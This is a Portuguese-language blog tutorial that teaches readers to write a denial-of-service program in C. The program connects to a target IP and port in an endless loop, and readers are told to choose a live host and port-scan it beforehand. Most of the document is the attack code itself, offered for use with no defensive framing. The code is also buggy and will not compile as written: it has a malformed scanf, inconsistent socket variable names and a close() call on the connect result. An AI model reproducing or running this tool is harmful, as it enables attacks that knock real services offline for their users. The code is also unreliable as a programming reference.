Como criar um DoS Attack no Linux em C






Olá pessoal, hoje nós aprenderemos a como criar um ataque DoS, mas antes de começarmos é de fundamental importância que vocês tenham lido o tutorial de criação de sockets. Para encontrá-lo é só clicar bem aqui.

O que é um ataque DoS?


Um ataque DoS (sigla em inglês para Denial of Service) é um ataque de negação de serviço que tem como finalidade tornar os recursos de um sistema inacessíveis para seus usuários, é comumente utilizado para atacar servidores WEB tornando suas páginas hospedadas  indisponíveis. Diferente de outros ataques, o DoS não se trata de uma invasão, mas sim de uma sobrecarga fazendo com que o serviço disponibilizado "caia". 

Como fazer um ataque DoS?


Agora vamos ao que interessa, relacionado ao conteúdo aprendido no tutorial de sockets iremos aprimorar as nossas habilidades para construirmos o nosso código DoS em C, antes de tudo você deve escolher um alvo (host ativo) e realizar um portscan nele para identificar quais portas TCP estão abertas, não usaremos portas UDP pois não é possível identificar de forma simples se uma porta UDP está aberta ou filtrada por um firewall. Após isso, abra o seu terminal e escolha o editor de textos de sua preferência que iremos começar a codificar!

Criando o Código DoS em C


Primeiramente declararemos as bibliotecas que iremos usar no nosso código, no caso usaremos bibliotecas referentes a input e output, conexão e declaração de sockets e manipulação de strings:

          #include<stdio.h>
          #include<netdb.h> 
          #include<unistd.h> 
          #include<string.h>

Logo após iremos criar a nossa função principal, a main, onde estará todo o corpo do nosso código e em seguida, entre os parêntese, utilizaremos os os seguintes parâmetros para usar a passagem de argumentos:

         int main( int argc, char *argv[] ){
          

          }

Depois iremos declarar as variáves que usaremos ao longo do nosso código, inicialmente quatro variáveis inteiras, uma relacionada a criação do socket, um contador para o loop que iremos criar, outra para fazer a conexão com o nosso alvo e uma para digitarmos o número da porta por qual faremos a negação do serviço e por último um ponteiro de char que receberá o endereço ip que foi passado como argumento. Confira o exemplo abaixo:

int meuSocket;
int conectar;
        int cont; 
int porta;
char  *Ipalvo = argv[1];


Agora iremos colocar um scanf para que o usuário possa entrar com o valor da porta TCP para se conectar com o alvo.

          scanf(%d",&porta);

Após declararmos as variáveis e fazermos a leitura da porta abriremos um loop while com apenas 1 dentro dele, assim o loop ficará infinitamente, ou seja, enquanto o nosso código estiver rodando o ataque estará sendo executado.

          while(1){

          }

Dentro do while iremos criar e estabelecer a conexão com o endereço de ip passado por argumento e a porta TCP encontrada aberta, para isso faça da seguinte forma, caso tenha dúvidas sobre como criar um socket dê uma olhada no nosso tutorial de criação de sockets, lá está o passo a passo de todo o procedimento.


         struct  sockaddr_in alvo;
meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = inet_addr(Ipalvo);
    
conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     

Para finalizar, colocaremos uma condicional de confirmação, se a conexão com servidor através da porta selecionada for bem sucedida, o código irá "printar" uma mensagem, caso não seja, ele encerrará a conexão e através do loop tentará abrir outra.


         if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                    
                                close(conectar);
                        }


No final a Estrutura do nosso código ficará como mostrado abaixo, enquanto seu algoritmo estiver rodando a conexão com o alvo continuará sendo realizada e a negação de serviço estará sendo feita e não esqueça de passar o endereço ip do alvo como argumento na hora de executar o código. Até a próxima pessoal!



#include<stdio.h>
#include<netdb.h> 
#include<unistd.h> 
#include<string.h>


int main(int argc, char *argv[]){

int meuSocket;
int conectar;
int porta;
  char  *Ipalvo = argv[1];
     
      scanf(%d",&porta);

                while(1){

       struct  sockaddr_in alvo;
       meuPrimeiroSocket = socket(AF_INET,SOCK_STREAM,0);

       alvo.sin_family = AF_INET;
       alvo.sin_port = htons(porta);
       alvo.sin_addr.s_addr = inet_addr(Ipalvo);
     
       conectar = connect(meuSocket, (struct sockaddr *)&alvo,sizeof alvo);
                     
                        if( conectar ==  0 ){

                                printf("atacando o servidor pela porta %d \n",porta);

                        }else{

                                close(meuSocket);                      
                                close(conectar);
                        }
         }

                return 0;
 }       

0 comentários:

Postar um comentário